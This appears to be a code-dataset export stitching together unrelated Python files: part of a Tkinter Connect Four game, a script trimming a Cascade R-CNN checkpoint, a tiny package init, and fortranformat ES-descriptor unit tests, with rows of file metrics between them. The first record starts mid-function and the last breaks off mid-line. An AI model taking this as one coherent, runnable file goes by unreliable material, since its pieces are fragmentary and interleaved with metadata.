statement) def choose_f(self, board, buttons, statement): usercolumn = 5 if c4.checkifvalid(board, usercolumn) == True: c4.dousermove(board, 5) self.continuegame(board, buttons, statement) def choose_g(self, board, buttons, statement): usercolumn = 6 if c4.checkifvalid(board, usercolumn) == True: c4.dousermove(board, 6) self.continuegame(board, buttons, statement) def continuegame(self, board, buttons, statement): """ Main game function. Checks the gamestate to see if game is over If game is not over, makes the computer move and checks again If game is still not over, allows player to make another move If game is over, displays the appropriate labels Makes all buttons useless game is over """ gamestate = c4.checkgamestate(board) if gamestate == 0: computercolumn = c4.decidecomputermove(board) while c4.checkifvalid(board, computercolumn) != True: computercolumn = c4.decidecomputermove(board) c4.docomputermove(board, computercolumn) gamestate = c4.checkgamestate(board) graph = c4.plotgraphicalboard(board) canvas = FigureCanvasTkAgg(graph, self) canvas.draw() canvas.get_tk_widget().grid(row=2, column=1) if gamestate == 1: graph = c4.plotgraphicalboard(board) canvas = FigureCanvasTkAgg(graph, self) canvas.draw() canvas.get_tk_widget().grid(row=2, column=1) buttons[0].configure(command=donothing) buttons[1].configure(command=donothing) buttons[2].configure(command=donothing) buttons[3].configure(command=donothing) buttons[4].configure(command=donothing) buttons[5].configure(command=donothing) buttons[6].configure(command=donothing) buttons[0].update() buttons[1].update() buttons[2].update() buttons[3].update() buttons[4].update() buttons[5].update() buttons[6].update() statement.configure(text="You Won!") statement.update() print("You win") if gamestate == 2: buttons[0].configure(command=donothing) buttons[1].configure(command=donothing) buttons[2].configure(command=donothing) buttons[3].configure(command=donothing) buttons[4].configure(command=donothing) buttons[5].configure(command=donothing) buttons[6].configure(command=donothing) buttons[0].update() buttons[1].update() buttons[2].update() buttons[3].update() buttons[4].update() buttons[5].update() buttons[6].update() statement.configure(text="You Lost!") statement.update() print("You lose") if gamestate == 3: graph = c4.plotgraphicalboard(board) canvas = FigureCanvasTkAgg(graph, self) canvas.draw() canvas.get_tk_widget().grid(row=2, column=1) statement.configure(text="It's a draw!") statement.update() print("You draw") def donothing(): """ Function that does nothing. Makes a button useless if assigned to it """ pass # Stops program crashing on mac due to UnicodeDecodeError def runapp(app): try: app.mainloop() except UnicodeDecodeError: runapp(app) app = Connect4App() runapp(app)
38.041276
92
0.579897
2,303
20,276
5.024316
0.099001
0.045631
0.079855
0.077435
0.851353
0.830957
0.826981
0.826981
0.821969
0.815055
0
0.029291
0.31303
20,276
532
93
38.112782
0.801421
0.083498
0
0.822943
0
0
0.027425
0
0
0
0
0
0
1
0.064838
false
0.002494
0.017456
0
0.099751
0.014963
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
4904c499ac9ea989e6d175e540f312d4c8f0ea41
1,725
py
Python
tools/transform_model.py
shanglidan/under_water
ed487c73666221762cdddd665d2e0330c0a67176
[ "MIT" ]
7
2020-08-11T10:15:17.000Z
2022-03-27T07:47:09.000Z
tools/transform_model.py
shanglidan/under_water
ed487c73666221762cdddd665d2e0330c0a67176
[ "MIT" ]
1
2021-08-03T08:19:56.000Z
2021-08-03T08:19:56.000Z
tools/transform_model.py
shanglidan/under_water
ed487c73666221762cdddd665d2e0330c0a67176
[ "MIT" ]
1
2020-09-08T09:30:35.000Z
2020-09-08T09:30:35.000Z
import torch import math num_classes =2 num_anchor = 5 model_coco = torch.load("./data/pretrain/cascade_rcnn_dconv_c3-c5_r101_fpn_1x_20190125-aaa877cc.pth") # weight model_coco["state_dict"]["bbox_head.0.fc_cls.weight"] = model_coco["state_dict"]["bbox_head.0.fc_cls.weight"][:num_classes, :] model_coco["state_dict"]["bbox_head.1.fc_cls.weight"] = model_coco["state_dict"]["bbox_head.1.fc_cls.weight"][:num_classes, :] model_coco["state_dict"]["bbox_head.2.fc_cls.weight"] = model_coco["state_dict"]["bbox_head.2.fc_cls.weight"][:num_classes, :] # bias model_coco["state_dict"]["bbox_head.0.fc_cls.bias"] = model_coco["state_dict"]["bbox_head.0.fc_cls.bias"][:num_classes] model_coco["state_dict"]["bbox_head.1.fc_cls.bias"] = model_coco["state_dict"]["bbox_head.1.fc_cls.bias"][:num_classes] model_coco["state_dict"]["bbox_head.2.fc_cls.bias"] = model_coco["state_dict"]["bbox_head.2.fc_cls.bias"][:num_classes] #anchor model_coco["state_dict"]["rpn_head.rpn_cls.weight"] = model_coco["state_dict"]["rpn_head.rpn_cls.weight"].repeat(math.ceil(num_anchor/3),1, 1, 1)[:num_anchor,:,:,:] model_coco["state_dict"]["rpn_head.rpn_cls.bias"] = model_coco["state_dict"]["rpn_head.rpn_cls.bias"].repeat(math.ceil(num_anchor/3))[:num_anchor] model_coco["state_dict"]["rpn_head.rpn_reg.weight"] = model_coco["state_dict"]["rpn_head.rpn_reg.weight"].repeat(math.ceil(num_anchor/3),1,1,1)[:num_anchor*4,:,:,:] model_coco["state_dict"]["rpn_head.rpn_reg.bias"] = model_coco["state_dict"]["rpn_head.rpn_reg.bias"].repeat(math.ceil(num_anchor/3))[:num_anchor*4] #save new model torch.save(model_coco,"./data/pretrain/cascade_rcnn_dconv_c3-c5_r101_fpn_1x_20190125-aaa877cc_c%d_a%d.pth"%(num_classes,num_anchor))
75
165
0.751884
302
1,725
3.910596
0.149007
0.167655
0.237087
0.304826
0.897544
0.88061
0.88061
0.88061
0.88061
0.585944
0
0.036563
0.048696
1,725
22
166
78.409091
0.68312
0.017971
0
0
0
0
0.492197
0.372149
0
0
0
0
0
1
0
false
0
0.125
0
0.125
0
0
0
0
null
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
0b6aed2816475221586c2a24703077e52bb67590
49
py
Python
ct/__init__.py
wodo/django-ct
e1cedc243fcfaba660143c95b699080252b64146
[ "BSD-2-Clause" ]
1
2019-01-24T09:00:07.000Z
2019-01-24T09:00:07.000Z
ct/__init__.py
wodo/django-ct
e1cedc243fcfaba660143c95b699080252b64146
[ "BSD-2-Clause" ]
null
null
null
ct/__init__.py
wodo/django-ct
e1cedc243fcfaba660143c95b699080252b64146
[ "BSD-2-Clause" ]
null
null
null
from ct.models import * from ct.manager import *
16.333333
24
0.755102
8
49
4.625
0.625
0.324324
0
0
0
0
0
0
0
0
0
0
0.163265
49
2
25
24.5
0.902439
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
e7f300ce3a6d8d6f3cbfe8c625dfdb6d7d80d77e
47,453
py
Python
tests/autogen/input/ifort/9-1_linux_intel/es-input-test-4.py
michaelackermannaiub/py-fortranformat
edc530d5edde41f41939c716da8e1ef01fa8a6fe
[ "MIT" ]
null
null
null
tests/autogen/input/ifort/9-1_linux_intel/es-input-test-4.py
michaelackermannaiub/py-fortranformat
edc530d5edde41f41939c716da8e1ef01fa8a6fe
[ "MIT" ]
null
null
null
tests/autogen/input/ifort/9-1_linux_intel/es-input-test-4.py
michaelackermannaiub/py-fortranformat
edc530d5edde41f41939c716da8e1ef01fa8a6fe
[ "MIT" ]
null
null
null
import sys import os import unittest from nose.plugins.attrib import attr # To change this, re-run 'build-unittests.py' from fortranformat._input import input as _input from fortranformat._lexer import lexer as _lexer from fortranformat._parser import parser as _parser import unittest class ESEditDescriptorBatch4TestCase(unittest.TestCase): @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_1(self): inp = '''3.''' fmt = '''(ES5.4E5)''' result = [3.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_2(self): inp = '''-3.''' fmt = '''(ES5.4E5)''' result = [-3.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_3(self): inp = '''10.''' fmt = '''(ES5.4E5)''' result = [1.0000000000000000e+01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_4(self): inp = '''-10.''' fmt = '''(ES5.4E5)''' result = [-1.0000000000000000e+01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_5(self): inp = '''100.''' fmt = '''(ES5.4E5)''' result = [1.0000000000000000e+02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_6(self): inp = '''-100.''' fmt = '''(ES5.4E5)''' result = [-1.0000000000000000e+02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_7(self): inp = '''1000.''' fmt = '''(ES5.4E5)''' result = [1.0000000000000000e+03] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_8(self): inp = '''-1000.''' fmt = '''(ES5.4E5)''' result = [-1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_9(self): inp = '''10000.''' fmt = '''(ES5.4E5)''' result = [1.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_10(self): inp = '''-10000.''' fmt = '''(ES5.4E5)''' result = [-1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_11(self): inp = '''100000.''' fmt = '''(ES5.4E5)''' result = [1.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_12(self): inp = '''-100000.''' fmt = '''(ES5.4E5)''' result = [-1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_13(self): inp = '''123456789.''' fmt = '''(ES5.4E5)''' result = [1.2344999999999999e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_14(self): inp = '''0.1''' fmt = '''(ES5.4E5)''' result = [1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_15(self): inp = '''-0.1''' fmt = '''(ES5.4E5)''' result = [-1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_16(self): inp = '''0.01''' fmt = '''(ES5.4E5)''' result = [1.0000000000000000e-02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_17(self): inp = '''-0.01''' fmt = '''(ES5.4E5)''' result = [-1.0000000000000000e-02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_18(self): inp = '''0.001''' fmt = '''(ES5.4E5)''' result = [1.0000000000000000e-03] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_19(self): inp = '''-0.001''' fmt = '''(ES5.4E5)''' result = [0.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_20(self): inp = '''0.0001''' fmt = '''(ES5.4E5)''' result = [0.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_21(self): inp = '''-0.0001''' fmt = '''(ES5.4E5)''' result = [0.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_22(self): inp = '''-1.96e-16''' fmt = '''(ES5.4E5)''' result = [-1.9600000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_23(self): inp = '''3.14159''' fmt = '''(ES5.4E5)''' result = [3.1410000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_24(self): inp = '''- 1.0''' fmt = '''(ES5.4E5)''' result = [0.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_25(self): inp = '''1e12''' fmt = '''(ES5.4E5)''' result = [1.0000000000000000e+08] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_26(self): inp = '''1E12''' fmt = '''(ES5.4E5)''' result = [1.0000000000000000e+08] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_27(self): inp = '''-1 e12''' fmt = '''(ES5.4E5)''' result = [-1.0000000000000000e-04] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_28(self): inp = '''.''' fmt = '''(ES5.4E5)''' result = [0.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_29(self): inp = '''.1''' fmt = '''(ES5.4E5)''' result = [1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_30(self): inp = '''0.1D+200''' fmt = '''(ES5.4E5)''' result = [1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_31(self): inp = '''3.''' fmt = '''(ES10.4E5)''' result = [3.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_32(self): inp = '''-3.''' fmt = '''(ES10.4E5)''' result = [-3.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_33(self): inp = '''10.''' fmt = '''(ES10.4E5)''' result = [1.0000000000000000e+01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_34(self): inp = '''-10.''' fmt = '''(ES10.4E5)''' result = [-1.0000000000000000e+01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_35(self): inp = '''100.''' fmt = '''(ES10.4E5)''' result = [1.0000000000000000e+02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_36(self): inp = '''-100.''' fmt = '''(ES10.4E5)''' result = [-1.0000000000000000e+02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_37(self): inp = '''1000.''' fmt = '''(ES10.4E5)''' result = [1.0000000000000000e+03] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_38(self): inp = '''-1000.''' fmt = '''(ES10.4E5)''' result = [-1.0000000000000000e+03] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_39(self): inp = '''10000.''' fmt = '''(ES10.4E5)''' result = [1.0000000000000000e+04] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_40(self): inp = '''-10000.''' fmt = '''(ES10.4E5)''' result = [-1.0000000000000000e+04] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_41(self): inp = '''100000.''' fmt = '''(ES10.4E5)''' result = [1.0000000000000000e+05] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_42(self): inp = '''-100000.''' fmt = '''(ES10.4E5)''' result = [-1.0000000000000000e+05] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_43(self): inp = '''123456789.''' fmt = '''(ES10.4E5)''' result = [1.2345678900000000e+08] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_44(self): inp = '''0.1''' fmt = '''(ES10.4E5)''' result = [1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_45(self): inp = '''-0.1''' fmt = '''(ES10.4E5)''' result = [-1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_46(self): inp = '''0.01''' fmt = '''(ES10.4E5)''' result = [1.0000000000000000e-02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_47(self): inp = '''-0.01''' fmt = '''(ES10.4E5)''' result = [-1.0000000000000000e-02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_48(self): inp = '''0.001''' fmt = '''(ES10.4E5)''' result = [1.0000000000000000e-03] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_49(self): inp = '''-0.001''' fmt = '''(ES10.4E5)''' result = [-1.0000000000000000e-03] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_50(self): inp = '''0.0001''' fmt = '''(ES10.4E5)''' result = [1.0000000000000000e-04] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_51(self): inp = '''-0.0001''' fmt = '''(ES10.4E5)''' result = [-1.0000000000000000e-04] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_52(self): inp = '''-1.96e-16''' fmt = '''(ES10.4E5)''' result = [-1.9600000000000000e-16] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_53(self): inp = '''3.14159''' fmt = '''(ES10.4E5)''' result = [3.1415899999999999e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_54(self): inp = '''- 1.0''' fmt = '''(ES10.4E5)''' result = [-1.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_55(self): inp = '''1e12''' fmt = '''(ES10.4E5)''' result = [1.0000000000000000e+08] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_56(self): inp = '''1E12''' fmt = '''(ES10.4E5)''' result = [1.0000000000000000e+08] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_57(self): inp = '''-1 e12''' fmt = '''(ES10.4E5)''' result = [-1.0000000000000000e+08] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_58(self): inp = '''.''' fmt = '''(ES10.4E5)''' result = [0.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_59(self): inp = '''.1''' fmt = '''(ES10.4E5)''' result = [1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_60(self): inp = '''0.1D+200''' fmt = '''(ES10.4E5)''' result = [1.0000000000000001e+199] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_61(self): inp = '''3.''' fmt = '''(ES5.5E5)''' result = [3.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_62(self): inp = '''-3.''' fmt = '''(ES5.5E5)''' result = [-3.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_63(self): inp = '''10.''' fmt = '''(ES5.5E5)''' result = [1.0000000000000000e+01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_64(self): inp = '''-10.''' fmt = '''(ES5.5E5)''' result = [-1.0000000000000000e+01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_65(self): inp = '''100.''' fmt = '''(ES5.5E5)''' result = [1.0000000000000000e+02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_66(self): inp = '''-100.''' fmt = '''(ES5.5E5)''' result = [-1.0000000000000000e+02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_67(self): inp = '''1000.''' fmt = '''(ES5.5E5)''' result = [1.0000000000000000e+03] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_68(self): inp = '''-1000.''' fmt = '''(ES5.5E5)''' result = [-1.0000000000000000e-02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_69(self): inp = '''10000.''' fmt = '''(ES5.5E5)''' result = [1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_70(self): inp = '''-10000.''' fmt = '''(ES5.5E5)''' result = [-1.0000000000000000e-02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_71(self): inp = '''100000.''' fmt = '''(ES5.5E5)''' result = [1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_72(self): inp = '''-100000.''' fmt = '''(ES5.5E5)''' result = [-1.0000000000000000e-02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_73(self): inp = '''123456789.''' fmt = '''(ES5.5E5)''' result = [1.2345000000000000e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_74(self): inp = '''0.1''' fmt = '''(ES5.5E5)''' result = [1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_75(self): inp = '''-0.1''' fmt = '''(ES5.5E5)''' result = [-1.0000000000000001e-01] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_76(self): inp = '''0.01''' fmt = '''(ES5.5E5)''' result = [1.0000000000000000e-02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_77(self): inp = '''-0.01''' fmt = '''(ES5.5E5)''' result = [-1.0000000000000000e-02] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_78(self): inp = '''0.001''' fmt = '''(ES5.5E5)''' result = [1.0000000000000000e-03] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_79(self): inp = '''-0.001''' fmt = '''(ES5.5E5)''' result = [0.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_80(self): inp = '''0.0001''' fmt = '''(ES5.5E5)''' result = [0.0000000000000000e+00] eds, rev_eds = _parser(_lexer(fmt)) self.assertEqual(result, _input(eds, rev_eds, inp)) @attr(platform='9-1_linux_intel') @attr('input') @attr(ed='ES') def test_es_ed_input_81(self): inp = '''-0.0001''' fmt = '''(ES5.5E5)''' result = [0.0000000000000000e+00] eds, rev_eds = 